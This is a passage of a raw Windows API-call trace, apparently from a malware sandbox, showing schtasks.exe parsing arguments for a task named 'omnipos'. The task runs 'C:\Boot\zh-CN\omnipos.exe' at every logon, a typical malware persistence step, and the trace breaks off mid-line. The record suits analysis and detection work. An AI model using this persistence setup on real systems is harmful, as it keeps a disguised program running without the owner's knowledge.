_vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|d|") returned 3 [0090.569] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.569] lstrlenW (lpString="|d|") returned 3 [0090.569] lstrlenW (lpString="|tn|") returned 4 [0090.569] SetLastError (dwErrCode=0x490) [0090.569] lstrlenW (lpString="m") returned 1 [0090.569] lstrlenW (lpString="m") returned 1 [0090.569] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.569] lstrlenW (lpString="tn") returned 2 [0090.569] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.569] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|m|") returned 3 [0090.569] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.569] lstrlenW (lpString="|m|") returned 3 [0090.569] lstrlenW (lpString="|tn|") returned 4 [0090.569] SetLastError (dwErrCode=0x490) [0090.570] lstrlenW (lpString="i") returned 1 [0090.570] lstrlenW (lpString="i") returned 1 [0090.570] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.570] lstrlenW (lpString="tn") returned 2 [0090.570] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.570] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|i|") returned 3 [0090.570] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.570] lstrlenW (lpString="|i|") returned 3 [0090.570] lstrlenW (lpString="|tn|") returned 4 [0090.570] SetLastError (dwErrCode=0x490) [0090.570] lstrlenW (lpString="tn") returned 2 [0090.570] lstrlenW (lpString="tn") returned 2 [0090.570] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.570] lstrlenW (lpString="tn") returned 2 [0090.570] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.570] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.570] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.570] lstrlenW (lpString="|tn|") returned 4 [0090.570] lstrlenW (lpString="|tn|") returned 4 [0090.570] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0090.570] SetLastError (dwErrCode=0x0) [0090.570] SetLastError (dwErrCode=0x0) [0090.570] lstrlenW (lpString="omnipos") returned 7 [0090.571] lstrlenW (lpString="-/") returned 2 [0090.571] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0090.571] SetLastError (dwErrCode=0x490) [0090.571] SetLastError (dwErrCode=0x490) [0090.571] SetLastError (dwErrCode=0x0) [0090.571] lstrlenW (lpString="omnipos") returned 7 [0090.571] StrChrIW (lpStart="omnipos", wMatch=0x3a) returned 0x0 [0090.571] SetLastError (dwErrCode=0x490) [0090.571] SetLastError (dwErrCode=0x0) [0090.571] lstrlenW (lpString="omnipos") returned 7 [0090.571] SetLastError (dwErrCode=0x0) [0090.571] SetLastError (dwErrCode=0x0) [0090.571] lstrlenW (lpString="/sc") returned 3 [0090.571] lstrlenW (lpString="-/") returned 2 [0090.571] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.571] lstrlenW (lpString="create") returned 6 [0090.571] lstrlenW (lpString="create") returned 6 [0090.571] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.571] lstrlenW (lpString="sc") returned 2 [0090.571] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.571] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|create|") returned 8 [0090.571] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.571] lstrlenW (lpString="|create|") returned 8 [0090.571] lstrlenW (lpString="|sc|") returned 4 [0090.571] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0090.572] SetLastError (dwErrCode=0x490) [0090.572] lstrlenW (lpString="?") returned 1 [0090.572] lstrlenW (lpString="?") returned 1 [0090.572] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.572] lstrlenW (lpString="sc") returned 2 [0090.572] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.572] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|?|") returned 3 [0090.572] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.572] lstrlenW (lpString="|?|") returned 3 [0090.572] lstrlenW (lpString="|sc|") returned 4 [0090.572] SetLastError (dwErrCode=0x490) [0090.572] lstrlenW (lpString="s") returned 1 [0090.572] lstrlenW (lpString="s") returned 1 [0090.572] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.572] lstrlenW (lpString="sc") returned 2 [0090.572] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.572] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|s|") returned 3 [0090.572] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.572] lstrlenW (lpString="|s|") returned 3 [0090.572] lstrlenW (lpString="|sc|") returned 4 [0090.572] SetLastError (dwErrCode=0x490) [0090.572] lstrlenW (lpString="u") returned 1 [0090.572] lstrlenW (lpString="u") returned 1 [0090.573] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.573] lstrlenW (lpString="sc") returned 2 [0090.573] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.573] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|u|") returned 3 [0090.573] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.573] lstrlenW (lpString="|u|") returned 3 [0090.573] lstrlenW (lpString="|sc|") returned 4 [0090.573] SetLastError (dwErrCode=0x490) [0090.573] lstrlenW (lpString="p") returned 1 [0090.573] lstrlenW (lpString="p") returned 1 [0090.573] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.573] lstrlenW (lpString="sc") returned 2 [0090.573] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.573] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|p|") returned 3 [0090.573] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.573] lstrlenW (lpString="|p|") returned 3 [0090.573] lstrlenW (lpString="|sc|") returned 4 [0090.573] SetLastError (dwErrCode=0x490) [0090.573] lstrlenW (lpString="ru") returned 2 [0090.573] lstrlenW (lpString="ru") returned 2 [0090.573] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.573] lstrlenW (lpString="sc") returned 2 [0090.573] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.574] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ru|") returned 4 [0090.574] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.574] lstrlenW (lpString="|ru|") returned 4 [0090.574] lstrlenW (lpString="|sc|") returned 4 [0090.574] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0090.574] SetLastError (dwErrCode=0x490) [0090.574] lstrlenW (lpString="rp") returned 2 [0090.574] lstrlenW (lpString="rp") returned 2 [0090.574] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.574] lstrlenW (lpString="sc") returned 2 [0090.574] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.574] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rp|") returned 4 [0090.574] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.574] lstrlenW (lpString="|rp|") returned 4 [0090.574] lstrlenW (lpString="|sc|") returned 4 [0090.574] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0090.574] SetLastError (dwErrCode=0x490) [0090.574] lstrlenW (lpString="sc") returned 2 [0090.574] lstrlenW (lpString="sc") returned 2 [0090.574] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.574] lstrlenW (lpString="sc") returned 2 [0090.574] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.575] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.575] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.575] lstrlenW (lpString="|sc|") returned 4 [0090.575] lstrlenW (lpString="|sc|") returned 4 [0090.575] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0090.575] SetLastError (dwErrCode=0x0) [0090.575] SetLastError (dwErrCode=0x0) [0090.575] lstrlenW (lpString="ONLOGON") returned 7 [0090.575] lstrlenW (lpString="-/") returned 2 [0090.575] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0090.575] SetLastError (dwErrCode=0x490) [0090.575] SetLastError (dwErrCode=0x490) [0090.575] SetLastError (dwErrCode=0x0) [0090.575] lstrlenW (lpString="ONLOGON") returned 7 [0090.575] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0090.575] SetLastError (dwErrCode=0x490) [0090.575] SetLastError (dwErrCode=0x0) [0090.575] GetProcessHeap () returned 0x350000 [0090.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x18) returned 0x36d660 [0090.575] _memicmp (_Buf1=0x36d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.575] lstrlenW (lpString="ONLOGON") returned 7 [0090.575] GetProcessHeap () returned 0x350000 [0090.575] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x10) returned 0x36d680 [0090.575] lstrlenW (lpString="ONLOGON") returned 7 [0090.575] lstrlenW (lpString=" \x09") returned 2 [0090.575] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0090.576] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0090.576] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0090.576] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0090.576] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0090.576] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0090.576] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0090.576] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0090.576] GetLastError () returned 0x0 [0090.576] lstrlenW (lpString="ONLOGON") returned 7 [0090.576] lstrlenW (lpString="ONLOGON") returned 7 [0090.576] SetLastError (dwErrCode=0x0) [0090.576] SetLastError (dwErrCode=0x0) [0090.576] lstrlenW (lpString="/tr") returned 3 [0090.576] lstrlenW (lpString="-/") returned 2 [0090.576] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.576] lstrlenW (lpString="create") returned 6 [0090.576] lstrlenW (lpString="create") returned 6 [0090.576] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.576] lstrlenW (lpString="tr") returned 2 [0090.576] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.576] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|create|") returned 8 [0090.576] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.576] lstrlenW (lpString="|create|") returned 8 [0090.577] lstrlenW (lpString="|tr|") returned 4 [0090.577] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0090.577] SetLastError (dwErrCode=0x490) [0090.577] lstrlenW (lpString="?") returned 1 [0090.577] lstrlenW (lpString="?") returned 1 [0090.577] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.577] lstrlenW (lpString="tr") returned 2 [0090.577] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.577] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|?|") returned 3 [0090.577] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.577] lstrlenW (lpString="|?|") returned 3 [0090.577] lstrlenW (lpString="|tr|") returned 4 [0090.577] SetLastError (dwErrCode=0x490) [0090.577] lstrlenW (lpString="s") returned 1 [0090.577] lstrlenW (lpString="s") returned 1 [0090.577] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.577] lstrlenW (lpString="tr") returned 2 [0090.577] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.577] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|s|") returned 3 [0090.577] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.577] lstrlenW (lpString="|s|") returned 3 [0090.577] lstrlenW (lpString="|tr|") returned 4 [0090.578] SetLastError (dwErrCode=0x490) [0090.578] lstrlenW (lpString="u") returned 1 [0090.578] lstrlenW (lpString="u") returned 1 [0090.578] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.578] lstrlenW (lpString="tr") returned 2 [0090.578] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.578] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|u|") returned 3 [0090.578] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.578] lstrlenW (lpString="|u|") returned 3 [0090.578] lstrlenW (lpString="|tr|") returned 4 [0090.578] SetLastError (dwErrCode=0x490) [0090.578] lstrlenW (lpString="p") returned 1 [0090.578] lstrlenW (lpString="p") returned 1 [0090.578] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.578] lstrlenW (lpString="tr") returned 2 [0090.578] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.578] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|p|") returned 3 [0090.578] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.578] lstrlenW (lpString="|p|") returned 3 [0090.578] lstrlenW (lpString="|tr|") returned 4 [0090.578] SetLastError (dwErrCode=0x490) [0090.578] lstrlenW (lpString="ru") returned 2 [0090.579] lstrlenW (lpString="ru") returned 2 [0090.579] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.579] lstrlenW (lpString="tr") returned 2 [0090.579] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.579] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ru|") returned 4 [0090.579] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.579] lstrlenW (lpString="|ru|") returned 4 [0090.579] lstrlenW (lpString="|tr|") returned 4 [0090.579] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0090.579] SetLastError (dwErrCode=0x490) [0090.579] lstrlenW (lpString="rp") returned 2 [0090.579] lstrlenW (lpString="rp") returned 2 [0090.579] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.579] lstrlenW (lpString="tr") returned 2 [0090.579] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.579] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rp|") returned 4 [0090.579] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.579] lstrlenW (lpString="|rp|") returned 4 [0090.579] lstrlenW (lpString="|tr|") returned 4 [0090.579] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0090.580] SetLastError (dwErrCode=0x490) [0090.580] lstrlenW (lpString="sc") returned 2 [0090.580] lstrlenW (lpString="sc") returned 2 [0090.580] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.580] lstrlenW (lpString="tr") returned 2 [0090.580] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.580] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.580] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.580] lstrlenW (lpString="|sc|") returned 4 [0090.580] lstrlenW (lpString="|tr|") returned 4 [0090.580] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0090.580] SetLastError (dwErrCode=0x490) [0090.580] lstrlenW (lpString="mo") returned 2 [0090.580] lstrlenW (lpString="mo") returned 2 [0090.580] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.580] lstrlenW (lpString="tr") returned 2 [0090.580] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.580] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|mo|") returned 4 [0090.580] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.580] lstrlenW (lpString="|mo|") returned 4 [0090.580] lstrlenW (lpString="|tr|") returned 4 [0090.580] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0090.580] SetLastError (dwErrCode=0x490) [0090.581] lstrlenW (lpString="d") returned 1 [0090.581] lstrlenW (lpString="d") returned 1 [0090.581] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.581] lstrlenW (lpString="tr") returned 2 [0090.581] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.581] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|d|") returned 3 [0090.581] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.581] lstrlenW (lpString="|d|") returned 3 [0090.581] lstrlenW (lpString="|tr|") returned 4 [0090.581] SetLastError (dwErrCode=0x490) [0090.581] lstrlenW (lpString="m") returned 1 [0090.581] lstrlenW (lpString="m") returned 1 [0090.581] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.581] lstrlenW (lpString="tr") returned 2 [0090.581] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.581] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|m|") returned 3 [0090.581] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.586] lstrlenW (lpString="|m|") returned 3 [0090.586] lstrlenW (lpString="|tr|") returned 4 [0090.586] SetLastError (dwErrCode=0x490) [0090.586] lstrlenW (lpString="i") returned 1 [0090.586] lstrlenW (lpString="i") returned 1 [0090.586] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.586] lstrlenW (lpString="tr") returned 2 [0090.586] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.586] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|i|") returned 3 [0090.586] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.586] lstrlenW (lpString="|i|") returned 3 [0090.586] lstrlenW (lpString="|tr|") returned 4 [0090.587] SetLastError (dwErrCode=0x490) [0090.587] lstrlenW (lpString="tn") returned 2 [0090.587] lstrlenW (lpString="tn") returned 2 [0090.587] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.587] lstrlenW (lpString="tr") returned 2 [0090.587] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.587] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.587] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.587] lstrlenW (lpString="|tn|") returned 4 [0090.587] lstrlenW (lpString="|tr|") returned 4 [0090.587] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0090.587] SetLastError (dwErrCode=0x490) [0090.587] lstrlenW (lpString="tr") returned 2 [0090.587] lstrlenW (lpString="tr") returned 2 [0090.587] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.587] lstrlenW (lpString="tr") returned 2 [0090.587] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.587] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.587] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.587] lstrlenW (lpString="|tr|") returned 4 [0090.587] lstrlenW (lpString="|tr|") returned 4 [0090.587] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0090.587] SetLastError (dwErrCode=0x0) [0090.587] SetLastError (dwErrCode=0x0) [0090.588] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.588] lstrlenW (lpString="-/") returned 2 [0090.588] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0090.588] SetLastError (dwErrCode=0x490) [0090.588] SetLastError (dwErrCode=0x490) [0090.588] SetLastError (dwErrCode=0x0) [0090.588] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.588] StrChrIW (lpStart="'C:\\Boot\\zh-CN\\omnipos.exe'", wMatch=0x3a) returned=":\\Boot\\zh-CN\\omnipos.exe'" [0090.588] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.588] _memicmp (_Buf1=0x36c3f0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.588] _memicmp (_Buf1=0x36d600, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.588] SetLastError (dwErrCode=0x7a) [0090.588] SetLastError (dwErrCode=0x0) [0090.588] SetLastError (dwErrCode=0x0) [0090.588] lstrlenW (lpString="'C") returned 2 [0090.588] lstrlenW (lpString="-/") returned 2 [0090.588] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0090.588] SetLastError (dwErrCode=0x490) [0090.588] SetLastError (dwErrCode=0x490) [0090.588] SetLastError (dwErrCode=0x0) [0090.588] _memicmp (_Buf1=0x36d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.588] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.588] GetProcessHeap () returned 0x350000 [0090.588] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d680) returned 1 [0090.588] GetProcessHeap () returned 0x350000 [0090.588] RtlReAllocateHeap (Heap=0x350000, Flags=0xc, Ptr=0x36d680, Size=0x38) returned 0x367c00 [0090.588] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.589] lstrlenW (lpString=" \x09") returned 2 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x7a) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0090.589] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0090.590] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0090.590] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0090.590] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0090.590] GetLastError () returned 0x0 [0090.590] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.590] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.590] SetLastError (dwErrCode=0x0) [0090.590] SetLastError (dwErrCode=0x0) [0090.590] lstrlenW (lpString="/rl") returned 3 [0090.590] lstrlenW (lpString="-/") returned 2 [0090.590] StrChrIW (lpStart="-/", wMatch=0x2f) 